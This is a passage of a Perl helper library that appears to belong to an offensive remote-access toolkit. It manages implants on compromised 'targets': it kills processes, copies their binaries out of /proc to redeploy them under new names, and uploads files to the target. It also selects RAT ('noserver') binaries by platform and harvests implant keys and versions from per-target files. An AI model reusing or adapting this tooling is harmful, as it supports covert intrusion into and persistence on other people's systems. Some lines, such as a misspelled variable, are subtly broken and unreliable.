#linuxtarget=$linuxtarget=
#solaristarget=$solaristarget=
#sparctarget=$sparctarget=
#inteltarget=$inteltarget=
#sparc64target=$sparc64target=
#intel64target=$intel64target=
#solaristargetversion=$solaristargetversion=
#gbl_project=$gbl_project=
#gbl_targets=$gbl_targets=
#gbl_projectlist=(@gbl_projectlist)

#") unless ($prog =~ /autogetinput/) ;

# this must return true to allow others to "use " it.

`chmod +x $opbin/jscanner_pkg/jscan.pl 2>/dev/null`
    unless (! -f "$opbin/jscanner_pkg/jscan.pl" or -x _);

1;

#sub findenvtasking {
#    # Look in /current/fg/*/* and /share/down/zip/* for any instances
#    # of "-setenv STR=". If more than one, set default to either first one
#    # or to the one immediately after $nopen_myip.
#    # Returns ($default,@choices).
#    local ($envstr) = (@_);
#    my @taskingfiles = split(/\n/,`grep -l -- "-setenv $envstr=" /current/fg/*/* /share/down/zip/* 2>/dev/null`);
#    my ($default,@choices) = ();
#    foreach my $taskingfile (@taskingfiles) {
#	my ($lastipseen) = $taskingfile =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/ ;
#	foreach (readfile("ARRAY",$taskingfile) {
#	    ($lastipseen) = $1 if (/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/);
#	    next unless my ($line) = m,/(-setenv $envstr=.*)/;
#	    push(@choices,$line);
#	    $default = $line if (!$default or $lastipseen eq $nopen_myip);
#	}
#    }
#    return ($default,@choices);
#}
#findenvtasking

sub pidsum {
    local ($sumcmd,$killifgreen,$deploy,$deployas,
	   $uploadbin,@processes) = (@_);
    # %cankill are those we can kill 
    my (%pidline,%cankill) = ();
    $cankill{WATCHER}++;
    if ($uploadbin) {
	mydie("-f $uploadbin does not exist or is not a file")
	    unless (-f $uploadbin and -s _);
	offerabort("-f $uploadbin is not in ../up/. Are you sure it's the right file to upload?")
	    unless ($uploadbin =~ m,/up/,);
    }
    my @sumpids = grep /^\d+$/ , @processes;
    my @sumnames = grep ! /^\d+$/ , @processes;
    my $sumpath = "/proc/PID/object/a.out" if $solaristarget;
#offerabort("linuxtarget=$linuxtarget=
#
#");
    if ($linuxtarget) {
	$sumpath = "/proc/PID/exe";
    } else { # Give it a shot?  or die here?
	$sumpath = "/proc/PID/exe" unless $sumpath;
    }
    foreach my $name (@sumnames) {
	($output,undef,@output) = doit("=ps | grep -v grep | grep \"$name\"");
	if (@output == 0) {
	    mywarn("No PID matches name=$name\n\n".
		   "Try a PID instead.");
	    sleep 5 unless ("@processes" eq ".");
	    next;
	} elsif (@output) {
	    foreach my $line (@output) {
		if ($line =~ /^\s*\S+\s+(\d+)\s/) {
		    push(@sumpids,$1);
		    $pidline{$1} = $line;
		} else {
		    mywarn("ODD:  Cannot find a PID in this line:\n\n$line");
		    sleep 5 unless ("@processes" eq ".");
		    next;
		}
	    }
	}
    }
    my $returnoutput = "";
    my ($doitcmd,$version,$newname,$copyname) = ("$sumcmd $sumpath");
    my ($cankill,
	$fail,
	$logid,
	$waenv,
	$opfenv,
	$logcomments,
       ) = ();
    foreach my $pid (@sumpids) {
	$cankill = 0;
	if ($pid < 2) {
	    mywarn("Refusing to mess with PID $pid (call me a coward)...");
	    sleep 5 unless ("@processes" eq ".");
	    next;
	}
	$doitcmd =~ s,PID,$pid,;
	($output,undef,@output) = doit($doitcmd);
	$returnoutput .= $output;
	next unless ($killifgreen);
	my $killit = 0;
	$killit++ if grep /^\+/ , @output ;
	$killit-- if grep /^\-/ , @output ;
	$killit = 0 if ($killit < 0);
	
	if ($killit > 0 or $safetyoverride) {
	    ($version) = $output[-1] =~ /v\.(\d+\.\d+\.\d+(\.\d+){0,1})/;
	    $version = "0.0.0.0" unless $version;
	    foreach my $key (keys %cankill) {
		$cankill++ if (grep /^\+.*$key/i , @output);
	    }
	    #$gotwatcher = 	grep /^\+.*watcher/i , @output ;
	    if ($cankill and $deploy) {
	      ($envoutput,undef,@envoutput) = doit("-getenv");
	      ($waenv) = grep /^WA=/ , @envoutput;
	      ($opfenv) = grep /^OPF=/ , @envoutput;
#	      my $prompt = "";
#	      while  (!$waenv) {
#		  my ($wadefault,@choices) = findenvtasking("WA");
#
#
#TODO Move this prompting crap into findenvtasking, prompt there....
#		  my ($ans,$longans) = (1);
#		  if (@choices > 0) {
#		      $prompt .= 
#			  "There are one or more -setenv $str= lines found in /current/fg/*/*:\n\n";
#		      my $default = "";
#		      for (my $i=0; $i<@choices; $i++) {
#			  $prompt .= sprintf("%5d) %s\n",$i+1,$choices[$i]);
#			  $default = $i+1 if ($choices[$i] eq $wadefault);
#		      }
#		      $prompt .= "\nEither <A>bort, enter the number of the above $str= value you want to use, or";
#		  }
#		  $prompt .= "Enter a valid -setenv line for WA=:";
#		  ($ans,$longans) = mygetinput($prompt,$default,"ANYTHING");
#		  if ($longans =~ m,^\s*-setenv WA=
#		      if ($choices[$ans-1] =~ /-setenv $str=/) {
#			  $waenv = $choices[$ans-1];
#		      } else {
#			  $prompt = "\n\a$COLOR_FAILURE\n".
#			      "Invalid answer, enter an index value or ABORT!\n".
#			      "$COLOR_NORMAL\n";
#			      
#		      }
#	      }
#	      $opfenv = findenvtasking("OPF") unless $opfenv;
	      $logcomments .= "Tool Comments: $waenv\n" if $waenv;
	      $logcomments .= "Tool Comments: $opfenv\n" if $opfnv;
	      if (length $waenv < 20) {
		mywarn("Refusing to kill WATCHER and redeploy when WA is not yet set properly");
		$fail=1;
		sleep 3;
		next;
	      }
	      $logid = " with -t ID: $1" if ($waenv =~ /-t\s*(\S+)/);
	    }
	    if ($deploy) {
		unless ($cankill) {
		    progprint($COLOR_FAILURE."\n\n".
			      "$prog cannot kill this process, it only knows how to kill:\n\n   ".
			      join("\n   ",keys %cankill)."\n".
			      "");
		    $deploy = 0;
		    next;
		}
		if ($deployas) {
		    $newname = $deployas;
		} else {
		    (undef,undef,@output) = doit("=ps | grep -v grep | grep \" $pid \"");
		    if (@output == 1) {
			($newname) = $output[0] =~ /\s(\S+)\s*$/;
		    } else {
			mywarn("Cannot kill and redeploy, more than one match to grep $pid");
			$deploy = 0;
			sleep 5;
			next;
		    }
		}
		($output) = doit("-ls $newname");
		if ($output) {
		    mywarn("Cannot redeploy as $newname, it already exists...skipping this one");
		    $deploy = 0;
		    sleep 5;
		    next;
		}
		my $mysumpath = $sumpath;
		$mysumpath =~ s,PID,$pid,;
		doit("cp $mysumpath $newname");
		$copyname = $newname;
	    }
	    if (!$killit) {
		my ($ans) = mygetinput($pidline{$pid}."\n\n".
				       "Are you sure about killing this process? It may not be ours.\n\n".
				       "You can <S>kip this one, <K>ill it or <A>bort","S","K","A");
		next if ($ans eq "s");
		mydie("User aborted") if ($ans eq "a");
	    }
	    doit("kill $pid ; echo \$?");
	    ($output) = doit("=ps | grep -v grep | grep \" $pid \"");
	    if ($output) {
	      $fail=1;
		my $more = " (NOT redeploying)" if $deploy;
		mywarn("KILL FAILED on pid $pid$more");
		if ($deploy) {
		    doit("-rm $newname");
		    $copyname = "";
		}
		sleep 5;
		next;
	    }
	} else {
	  $fail=1;
	  mywarn("Cannot kill PID $pid - not green, so may not be ours\n".
		 "  (Consider using safety override option, -O, CAREFULLY!!)");
	}
    }
    $logcomments = "\n$logcomments" if $logcomments;
    $logmore = "";
    if ($deploy) {
      ##TODO	if ($copyname ne 
      unless ($fail) {
	my ($runoutput,undef,@runoutput) = doit("PATH=.:$PATH $newname ; echo \$?");
	if ($runoutput[-1] eq "0") {
	} else {
	  $fail=1;
	  mywarn("Running watcher FAILED.");
	}
	
	($output,undef,@output) = doit("=ps | grep -v grep | grep \" $newname\$\"");
	if (!$fail and $cankill) {
	  logtool("WATCHER",$version,"SUCCESS","DEPLOYED","$gbl_opproject.$gbl_opschedule.$gbl_opuser$logid:$output$logcomments",);
	}	
      }	
      doit("-rm $newname");
      $logmore = " but RESTART of watcher FAILED" if $fail;
    }
    logtool("WATCHER",$version,"SUCCESS","REMOVED",
	    "$gbl_opproject.$gbl_opschedule.$gbl_opuser$logid:".
	    "$pidline{$pid}$logmore$logcomments")
	if (($fail or !$deploy) and $cankill);
    return $returnoutput;
}
#pidsum

sub portcheck {
  my ($port,$min,$max) = (@_) ;
  $min = $minport unless $min ;
  $max = $maxport unless $max ;
  $port = myrand($min,$max) if ($port =~ /rhp/i);
  # return PORT VALUE if it is OK, FALSE if not
  return  ($port =~ /\D/ or 
	   $port < $min
	   or $port > $max)  ? 0 : $port ;
}
# portcheck

sub putcheck {
    # Upload $localfile as $remotefile, confirm size. Returns:
    #         size on success
    #         0    on failure
    # 
    local ($localfile,$remotefile) = (@_);
    $localfile =~ s,^\s+,,;
    $localfile =~ s,\s+$,,;
    $remotefile =~ s,^\s+,,;
    $remotefile =~ s,\s+$,,;
    my $remotepath = ($remotefile =~ m,^/,) ? dirname($remotefile) : "";

    my $localsize = -s $localfile;
    return 0 unless (-f $localfile and
		     -r _ and
		     $localsize > 0 and
		     defined $socket and
		     $pilotstarted);
    my ($output) = doit("-ls $remotefile");
    if ($output) {
	my $after = $remotepath ? " (after you confirm with YES)" : "";
	my ($ans,$longans) = mygetinput
	
	    ("Uploading: $localfile\n".
	     "As       : $remotefile\n\n".
	     $COLOR_FAILURE.
	     "$remotefile already exists on target.$COLOR_NORMAL If you continue\n".
	     "it will be overwritten$after.\n\n".
	     "Should we upload?","N"
	     );
	return 0 unless ($ans eq "y");
    }
    ($output) = doit("-put $localfile $remotefile");
    my ($remotesize,undef,$remotefilelist) = $output =~ m,-[r-][w-][x-][r-][w-][x-][r-][w-][x-] .* (\d+) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) \d+ \d+:\d+ \d+ (.*),;
    return $remotesize if ($remotesize == $localsize);
    return 0;
}
# putcheck

sub checklocalip {
  # %gbl_(internal|external)IP	     Key is string describing when it was used.
  #                                  Value is IP address.

  my ($ip) = `ifconfig $privateinterface 2>/dev/null | grep inet | grep -v inet6` =~
    /[:\s](\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/ ;
  if ($ip and $gbl_internalIP{"current"} ne $ip) {
    my $time = gmtime();
    my $time2= time();
    if ($gbl_internalIP{"current"}) {
      dbg("$privateinterface IP changed, prior to now was ".$gbl_internalIP{"current"});
      newhostvar("gbl_internalIP{prior to $time $time2}",$gbl_internalIP{"current"});
    }
    newhostvar("gbl_internalIP{current}",$ip);
    newhostvar("gbl_internalIP","$ip at $time $time2");
    #  newhostvar("gbl_internalIP{current at $time $time2}",$ip);
  }

  ($ip) = `ifconfig $publicinterface 2>/dev/null | grep inet | grep -v inet6` =~
    /[:\s](\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/ ;
  if ($ip and $gbl_externalIP{"current"} ne $ip) {
    my $time = gmtime();
    my $time2= time();
    if ($gbl_externalIP{"current"}) {
      dbg("$publicinterface IP changed, prior to now was ".$gbl_externalIP{"current"});
      newhostvar("gbl_externalIP{prior to $time $time2}",$gbl_externalIP{"current"});
    }
    newhostvar("gbl_externalIP{current}",$ip);
    newhostvar("gbl_externalIP","$ip at $time $time2");
  }
}

sub local_firewall {
  # local_firewall([tcp/udp],ports);
  local (@ports) = (@_);
  my $proto = "tcp";
  my %blockedalready = ();
  #  return if fork();
  #  close(STDERR);
  #  close(STDIN);
  #  close(STDOUT);
  #  close($socket);
  my @inputrules = split(/\n/,`iptables -L INPUT -n -v | grep DROP`);
  foreach (@inputrules) {
    next unless (/dpt:(\d+)/);
    $blockedalready{$1}++;
  }
  foreach my $port (@ports) {
    if ($port =~ /^(tcp|udp)$/) {
      $proto = lc $port;
    }
    next unless ($port =~ /^\d+$/ and $port > 0);
    next if ($blockedalready{$port});
    progprint($COLOR_NOTE."LOCALLY: Blocking NOPEN_AUTOPORT=$nopen_autoport with iptables:\n".$COLOR_NORMAL.
	      "    iptables -I INPUT --proto $proto --in-interface $publicinterface --destination-port $port -j DROP\n".
	      `iptables -I INPUT --proto $proto --in-interface $publicinterface --destination-port $port -j DROP 2>&1`);
    #dbg("iptables returned $?");
    if ($?) {
      dbg("WARNING: Local iptables rule failed to work:\n\n".
	  "    iptables -I INPUT --proto $proto --destination-port $port -j DROP\n");
      next;
    }
    $blockedalready{$port}++;
  }
  #  exit;
}
#local_firewall

sub findnoserver {
  local($platforms) = (@_);
  my @platforms = split(/\s+/,$platforms);
  my $problem=0;
  my $foundrat = "";
  my %foundrats = ();
  foreach $platform (@platforms) {
    $platform =~ s/[-_]/\./g ;
    $platform =~ s/[-\.]*(\d[\d.]+)\s*$/-\1/ ;
    my $maxverval = 0;
    foreach $dir ("$opup/morerats","$opup") {
      if (opendir(UPDIR,$dir)) {
	# Reverse sort here starts at higher noserver-N.N.N.N numbers
	foreach $rat (grep { ! (/^\./
				or  /nosy/
				or  /client/
				or  /(Z|uu|bz2|gz)$/
				or  /sums$/
			       )
			   } reverse sort readdir UPDIR) {
	  my $thisverval = (verval($rat))[1];
	  $foundrat = "$dir/$rat"
	    if ($rat =~ /noserver.*$platform/ and
		$thisverval > $maxverval
	       );
	  $maxverval = (verval($foundrat))[1];
	  #dbg("tvv=$thisverval mvv=$maxverval in fr=".(basename $foundrat)." rat=$rat");
	  #	  last if $foundrat;
	}
	closedir(UPDIR);
	last if $foundrat;
      }
    }
    #dbg("On $platform found $foundrat");
    if (@platforms == 1) {
      return $foundrat;
    } else {
      $foundrats{$foundrat}++;
      $foundrat = "";
    }
  }
  my @rats = keys %foundrats;
  #dbg("rats=(@rats)");
  my $inode=0;
  foreach $rat (@rats) {
    my $i = (stat($rat))[1];
    $problem++ if $inode and $i != $inode;
    $inode = $i;
    #    dbg("rat=$rat i=$i $inode=$inode problem=$problem");
  }
  if ($problem) {
    mywarn("findnoserver cannot find unique server for all of:\n".
	   "$platforms\n\nPick one:\n$COLOR_NOTE".
	   join("\n",@rats).
	   "\n\n");
    $foundrat = "";
  } else {
    $foundrat = $rats[0];
  }
  return $foundrat;
}
#findnoserver

sub findinvarkeys {
  #dbg("in findinvarkeys(@_)");
  local($target,		# Target we desire (IP/hostname)
	$exactonly,		# If set, must match $target exactly.
	# Uppercase below are all references, @$IP is an array of IPs,
	# the rest are hashed arrays with those IPs as the keys.
	$IP,			# IPs that match
	$FQDN,			# FQDNs of each match
	$KEYSTR,		# KEYSTRs of each match
	$OS,			# OSs of each match
				# (I.e. PROJECT___hostname.domainname___IP___YYYYMMDD--HHMMSS)
	$IMPLANTS,		# IMPLANTs of each match, a space delimited string
	$UTCOFFSET,		# Contains UTC_OFFSET value for that IP, comma delimited if 
				# more than one unique entry found.
	$ALLIMPLANTKEYS,	# keyed on IP+implant name, contains keys for that IP+implant
	$IMPLANTKEYS,		# keyed on implant name, contains keys for that implant
				# BUT FOR $$IP[0] ONLY!!
	$IMPLANTVERS,		# keyed on IP+implant name, contains dotted numeric only
	$ALLIMPLANTVERS,	# keyed on IP, contains all implant/versions for that IP
       ) = (@_);
  my $match = 0 ;		# Set to # of matches found or to IP if one unique match
  my $wantip = $target =~ /^\d+\.\d+\.\d+\.\d+$/;
  my $wantname = !$wantip;
  my $warning = "";
  #  my $multipleos = "";
  # Looking in $opbin/varkeys/*
  # Given (maybe partial) hostname, return (list of) IP(s) that match
  # Given (maybe partial) IP, return (list of) FQDN(s) that match
  return 0 unless ($target and opendir(VARDIR,"$opbin/varkeys"));
  foreach $vardir (grep { ! /^\./ } sort readdir VARDIR) {
    next unless -d "$opbin/varkeys/$vardir" ;
    unless (opendir(PROJECTDIR,"$opbin/varkeys/$vardir")) {
      mywarn("autoutils::findinvarkeys: Cannot open $opbin/varkeys/$vardir");
      next;
    }
    foreach $t (grep { ! /^\./ } sort readdir PROJECTDIR) {
      next unless -d "$opbin/varkeys/$vardir/$t" ;
      next unless $t =~ /$target/;
      my ($fqdn,$ip) = $t =~ /^([^_]*)___([\d\.]+)/;
      if ($wantip) {
	next unless (!$exactonly or $ip eq $target);
      } else {
	next unless (!$exactonly or $fqdn eq $target);
      }
      push (@$IP,$ip);
      $$FQDN{$ip} = $fqdn;
      unless (opendir(TDIR,"$opbin/varkeys/$vardir/$t")) {
	mywarn("autoutils::findinvarkeys: Cannot open $opbin/varkeys/$vardir/$t");
	next;
      }
      $match++;
      foreach $implant (grep { ! /^\./ } sort readdir TDIR) {
	next unless -f "$opbin/varkeys/$vardir/$t/$implant"
	  and -r _ and -s _;
	next unless
	  open(VARIN,"$opbin/varkeys/$vardir/$t/$implant");

	$$IMPLANTS{$ip} .= " $opbin/varkeys/$vardir/$t/$implant";
	while (my $varline = <VARIN>) {
	  if (my ($var,$junk,$key) = $varline =~ /export\s+(\S*(KEY|CV|AYT)\S*)=\"{0,1}([^\"]*)\"{0,1}/) {
	    $$ALLIMPLANTKEYS{"${ip}+${implant}"} .= $key;
	    $$IMPLANTKEYS{$implant} .= $key if ($ip eq $$IP[0])
	  }
	  if (my ($offset) = $varline =~ /UTC_OFFSET\s*[:=]\s*(\S+)/) {
	    $$UTCOFFSET{$ip} .= "$offset,"
	      unless ($$UTCOFFSET{$ip} =~ /^$offset,/ or
		      ($$UTCOFFSET{$ip} =~ /,$offset,/)) ;
	  }
	  if (my ($os) = $varline =~ /OS:\s*(\S+)/) {
	    #	    if ($os =~ /sparc-sun-solaris(2.*)/) {
	    #	      my $ver = $1;
	    #dbg($ver);
	    #	      unless ($ver =~ /2.[345]$/) {
	    #		$os =~ s/$ver/2.5.1/;
	    #	      }
	    #            }
	    $$OS{$ip} = $os unless $$OS{$ip};
	    if ($os ne $$OS{$ip}) {
	      #dbg("setting 3 (adding to OS)");
	      #	      mywarn("autoutils::findinvarkeys: Multiple different OS's for $ip in varkeys/ $os ne $$OS{$ip}");
	      $$OS{$ip} .= " $os" unless
		$$OS{$ip} =~ / $os/;
	      $warning = "autoutils::findinvarkeys: Multiple different OS's for $ip in varkeys/: $$OS{$ip}";
	    }
	  }
	  if ($varline =~ /version/i or $varline =~ /v\s*\d+\.\d+\.\d+\.\d+/) {
	    if (my ($ver) = $varline =~ /(\d+\.\d+\.\d+\.\d+)/) {
	      if ($ver eq $ip) {
		($ver) = $varline =~ /$ip.*(\d+\.\d+\.\d+\.\d+){0,1})/;
	      }
	      if ($ver) {
		$$IMPLANTVERS{"${ip}+${implant}"} .= "," if $$IMPLANTVERS{"${ip}+${implant}"};
		$$IMPLANTVERS{"${ip}+${implant}"} .= $ver;
		$$ALLIMPLANTVERS{$ip} .= "," if $$ALLIMPLANTVERS{$ip};
		$$ALLIMPLANTVERS{$ip} .= "$implant/$ver";
	      }
	    }
	  }
	}
      }
      $$IMPLANTS{$ip} =~ s/^ //;
      close(VARIN);
    }
    mywarn($warning) if $warning;
  }
  foreach (keys %$UTCOFFSET) {
    $$UTCOFFSET{$_} =~ s/,$//;
  }
  closedir(DIR);
  return $$IP[0] if $match == 1;
  return $match;
}
#findinvarkeys

sub refreshnoclientinfo {
  # 20051109: Now every process requiring autoutils will have information
  #           about every other active noclient.
  foreach (split(/\n/,`ls -1 $optmp/noclient.info.* 2>/dev/null`)) {
    my ($pid) = /info\.(\d+)/;
    next unless $pid > 1;
    chomp($test = `ps hp $pid`);
    unless ($test) {
      unlink($_);
      next;
    }
    #    dbg("requiring $_");
    do $_ if (-r $_);
  }
}
#refreshnoclientinfo

sub mywarn {
  my $quietwarn = "";
  if ($_[-1] and $_[-1] =~ /QUIET/) {
    $quietwarn = pop(@_);
  }
  local ($what,$color,$color2,$what2,$popup) = (@_) ;
  if ($color =~ /^(popup.*)/i) {
    $color = "";
    $popup = $1;
  }
  #  dbg("nostdout=$nostdout In mywarn(@_)

  #color=$color=
  #popup=$popup=
  #");

  $color = $COLOR_FAILURE unless $color ;
  my $pid = $$;
  $pid .= "($pp_utils)" if $pp_utils;
  if ($quietwarn) {
    $what="${color}$what$COLOR_NORMAL";
  } else {
    $what="${color2}${prog}[$pid]$what2\a: ${color}$what$COLOR_NORMAL";
  }
  dolocalecho($what,$popup);
  unless ($nostdout) {
    # This stderr was going to the next NOPEN command line if $socket was open, so we
    # don't do it in that case.
    warn  "$what\n" unless $socket ;
    warnherealso("$what\n") if defined &warnherealso ;
  } else {
    #    $yoffset += 55;
    #    unless (fork()) {
    #      dolocalecho($what);
    #      close($socket);
    #      exec("xterm -hold -title \"NOPEN: $nopen_rhostname\"  -geometry 118x16+247+$yoffset -bg white -fg red -e ".
    #	   "echo \"\n\n\n\t\a${color}$what$COLOR_NORMAL\n\"") ;
    #    }
  }
  if ($autodone) {
    open(MYOUT,">> /current/latewarnings.$nopen_rhostname") || return ;
    print MYOUT "$what\n" ;
    close MYOUT
  }
}
#mywarn

sub mydie {
  local ($what,$color,$color2,$what2) = (@_) ;
  $color = $COLOR_FAILURE unless $color ;
  $color2 = $color unless $color2 ;
  $what2 = " $what2" if ($what2) ;
  my $pid = $$;
  $pid .= "($pp_utils)" if $pp_utils;
  if (@_) {
    if ((defined $socket) and ($nostdout > 0)) {
      #dbg("In mydie0(@_) with socket defined");
      dolocalecho("${prog}[$pid]\a: $what",$color);
      close($socket);
    } else {
      #dbg("In mydie1(@_)");
      mywarn($what,$color,$color2,$what2);
    }
    #    dolocalecho("${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL") ;
    #    mywarn("${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL") ;
    #    mywarn(@_);
    #    mywarn($what,$color,$color2,$what2);
  }
  nevermind();
  killlocalechopopup();
  
  #dbg("socket=$socket nostdout=$nostdout mydie(@_): exit 1");
  # If we are called via require 
  #  return 1 if $calledviarequire;
  exit 1 ;
}
#mydie


sub dolocalecho {
  local $color = "";
  local $popup = "";
  while ($_[$#_] == 1 or $_[$#_] =~ /\[.;..m/ or
	 $_[$#_] =~ /^popup/i) {
    if ($_[$#_] == 1 or $_[$#_] =~ /\[.;..m/) {
      $color = pop(@_) ;
      $color = $COLOR_FAILURE if ($color == 1) ;
    } elsif ($_[$#_] =~ /popup/i) {
      $popup = pop(@_) ;
    }
  }
  my $what = "@_" ;
  my $color2 = "";
  $color2 = ${COLOR_NORMAL} if $color;
  $what = "\n${color}\n${what}\n$color2\n";
  my $ext = $$;
  $ext++ until (! -e "$optmp/.whatout.$ext");
  if (open(OUTUTIL,"> $optmp/.whatout.$ext")) {
    print OUTUTIL $what;
    close(OUTUTIL);
  }
  my $l = length $what;
#  offerabort("WTF: l=$l= what=$what=");
  unless ($popup) {
    if (length($what) <= 128) {
      #dbg("popup=$popup in dolocalecho2");
	if ($nopen_clientver and
	    $nopen_clientver !~ /^3.1/ and
	    $nopen_clientver ge "3") {
	    `touch /tmp/yaday`;
	    $what =~ s/NNLL/\\\\n/g;
	    $what =~   s/\a/\\\\a/g;
	    $what =~   s/\t/\\\\t/g ;
	    $what =~   s/\n/\\\\n/g ;
	    $what =~   s/\"/\\\"/g ;
	} else {
	    $what =~ s/NNLL/\\\\\\\\n/g;
	    $what =~   s/\a/\\\\\\\\a/g;
	    $what =~   s/\t/\\\\\\\\t/g ;
	    $what =~   s/\n/\\\\\\\\n/g ;
	    $what =~   s/\"/\\\\\\\"/g ;
	}
      doit("-lsh echo -e \"$what\"");
    } else {
      # So not popping, but length must be big.
      #dbg("popup=$popup in dolocalecho1");
      doit("-lsh cat $optmp/.whatout.$ext");
    }
    #dbg("dolocalecho returning 0");
    return 0 if fork;
  }
  # Now if !$popup and length > 128 we already catted the file, just need to clean it.
  # If we are popping up, we fork here, parent returns $kidpid. $kidpid/child responsible
  # for wiping tmp file and also popup.
  if ($popup) {
    my $killstring = $$;
    my $kidpid = fork;
    if ($kidpid > 0) {
      #      chomp(my $killpid = `ps -ef | grep -v grep | grep $killstring$ | awk '{print \$2}'`);
      #    dbg("popup=$popup in dolocalecho just forked 

      #killpid=$killpid
      #killstring=$killstring
      #kidpid=$kidpid
      #xtermlineendsin=$xtermlineendsin

      #");
      #dbg("dolocalecho returning $killstring");
      push(@killstrings,$killstring);
      return $killstring;
      #??      return $kidpid;
    }
    my ($xargs) = $popup =~ /popup(.*)/i;
    close(STDOUT);
    close(STDERR);
    close($socket);
    #dbg("popup=$popup in dolocalecho0 kidpid=$kidpid about to pop xterm");
    #      dbg("popup=$popup= xargs=$xargs= execing: xterm -hold $xargs -e cat $optmp/.whatout.$ext");
    unless ($xargs =~ /geometry/) {
      my $linecount = minof(70,6+split(/\n/,$what));
      $xargs .= " -geometry 106x$linecount";
    }
    my $title = " -title \"$nopen_rhostname $prog\"";
    $title = "" if ($xargs =~ /-title/);
    #      dbg("xterm -hold $xargs -title \"$nopen_rhostname $prog\" -e cat $optmp/.whatout.$ext | less");
    # Another child here for popup. Parent is $kidpid was already returned.
    exec("xterm -hold $xargs$title -e cat $optmp/.whatout.$ext | less") if fork;
    #    exec("xterm -hold $xargs -title \"$nopen_rhostname $prog\" -e cat $optmp/.whatout.$ext | less") if fork;
    #      exec("xterm -hold $xargs -e cat $optmp/.whatout.$ext") if fork;
  }
  close(STDIN);
  close(STDOUT);
  close(STDERR);
  close($socket);
  sleep 3;
  unlink("$optmp/.whatout.$ext");
  #dbg("Now wiping $optmp/.whatout.$ext and exiting");
  exit;
}
#dolocalecho

sub killlocalechopopup {
  # No idea how autogetinput is calling us but we ignore him.
  return 0 if $prog eq "autogetinput";
  local (@strs) = (@_);
  # Read this in fresh, the %killpopup has is popups we want to kill
  do $hostvarfile if -s $hostvarfile;
  push(@strs,keys %killpopup) if defined %killpopup;
  push(@strs,@killstrings) unless @strs;
  my @lines = ();
  #dbg("

  #strs contains ".scalar @strs . " entries and \$strs[0]=$strs[0]=

  #INSIDE killlocalechopopup _=(@_) strs=(@strs)
  #");
  return unless @strs;
  my $linesdone = 0;
  foreach my $str (@strs) {
    next unless length $str > 0;
    $str = "whatout.$str" unless length($str) > 3;
    # @lines = split(/\n/,`ps -efwwwwww | egrep -v "grep|sh -c xterm" | grep xterm.*$str`);
    @lines = split(/\n/,`ps -efwwwwwww | grep -v grep | grep xterm.*$str`);
    #    dbg("
    #dammit=
    #ps -ef | egrep -v \"grep|sh -c xterm\" | grep xterm.*$str== \n".
    #`ps -ef | egrep -v \"grep|sh -c xterm\" | grep xterm.*$str`."==

    #for str=$str we have lines=(\n".
    #	join("\n",@lines)."\n
    #");
    if (fork) {
      $linesdone += @lines;
      next;
      # Child below will exit
    }
    
    # Child daemonizes, kills popped up window, processing returns immediately
    close(STDOUT);
    close(STDERR);
    close($socket);
    my (@pids) = ();
    foreach (@lines) {
      my ($pid) = /\S+\s+(\d+)/;
      #dbg("on line=$_ got pid=$pid");
      push (@pids,$pid);
    }
    #dbg("killing pids=(@pids)");
    foreach my $pid (reverse sort by_num @pids) {
      kill TERM,$pid if ($pid > 0 and $pid != $$);
      #dbg(	  "KILLING:    kill TERM,$pid if ($pid > 0 and $pid != $$);");

    }
    #    dbg("
    #INSIDE: killlocalechopopup(@_)

    #strs=(@strs)


    #".
    #	`ps -efwwwwwwwwww | grep -v grep | grep -3 xterm`);
    exit;
  }
  return $linesdone;
}				#killlocalechopopup

sub progprint {
  local(@progwhat) = (@_);
  my ($pause,$pausecmd)=("");
  my $where = STDERR ;
  my $timestamp="";
  my $nl = "\n";
  $timestamp= timestamp()." " unless ($notimestamp or $ENV{NOTIMESTAMP});
  while ($progwhat[$#progwhat] =~ /pause\d*/ or
	 $progwhat[$#progwhat] =~ /^STD/ or
	 $progwhat[$#progwhat] =~ /OUT$/
	) {
    if ($progwhat[$#progwhat] =~ /pause\d*/) {
      ($pause) = pop(@progwhat) =~ /pause(\d*)/;
      $pause = 3 unless $pause;
      $pause *= 2;		# double...each beep not a full second
      $pausecmd = "-beep $pause";
    }
    if ($progwhat[$#progwhat] =~ /^STD/ or
	$progwhat[$#progwhat] =~ /OUT$/
       ) {
      $where = pop(@progwhat);
    }
  }				#while last arg is something
  local ($what,$color,$color2,$what2) = (@progwhat) ;
  $color = $COLOR_NOTE unless $color ;
  $color = $COLOR_FAILURE if ($color eq "q");
  $color2 = $color unless $color2 ;
  $what2 = " $what2" if ($what2) ;
  my ($newlinesbefore,$newlinesafter) =("","");
  $what = "$nl$nl$what$nl" if $nostdout;
  $what .= $nl;
  while (substr($what,0,1) eq $nl) {
    $newlinesbefore .= $nl;
    $what = substr($what,1) ;
  }
  while (substr($what,length($what)-1,1) eq $nl) {
    $newlinesafter .= chop($what);
  }
  if ($nostdout) {
    dolocalecho("$newlinesbefore${color2}$timestamp${prog}[$$]$what2: ${color}$what$newlinesafter$COLOR_NORMAL") ;
    doit($pausecmd) if $pause;
  } else {
    print $where "$newlinesbefore${color2}$timestamp${prog}[$$]$what2: ${color}$what$newlinesafter$COLOR_NORMAL" ;
    sleep $pause/2 if $pause;
  }
}				#progprint

sub nevermind {
  # We touch this file so noclient knows to ignore the next
  # -gs /port since we didn't actually need the autoport for
  # this autoport-aware script, yet it is there in gs.$prog.
  if ($willautoport and !$pilotstarted) {
    if (open(TMP,"> $opetc/autoport.$nopen_autoport.nevermind")) {
      my $date = gmtime();
      print TMP "$date nevermind...$prog\n";
      close(TMP);
    }
  }
}				#nevermind

sub usage {
  # call nevermind() unless socket is active.
  # Show version only if $opt_v.
  # Otherwise, show usage in one of several variables, depending
  # on which is defined and whether $longhelp is set, then exit:
  #  $usagetext / $usagetextshort / $usagetextshort
  #  $gsusagetext / $gsusagetextlong
  
  setusagetexts() if (defined &setusagetexts);

  nevermind() unless $socket;
  if ($nextextfile and $ext and -e $nextextfile) {
    my $newfile = $nextextfile;
    $newfile =~ s/\.$ext$//;
    rename($nextextfile,$newfile);
  }
  my $output = "";
  $output .= "\nFATAL ERROR: @_\n" if ( @_ );
  unless ($opt_v) {
    $usagetext = $gsusagetext if ($gsusagetext and $nopen_mypid) ;
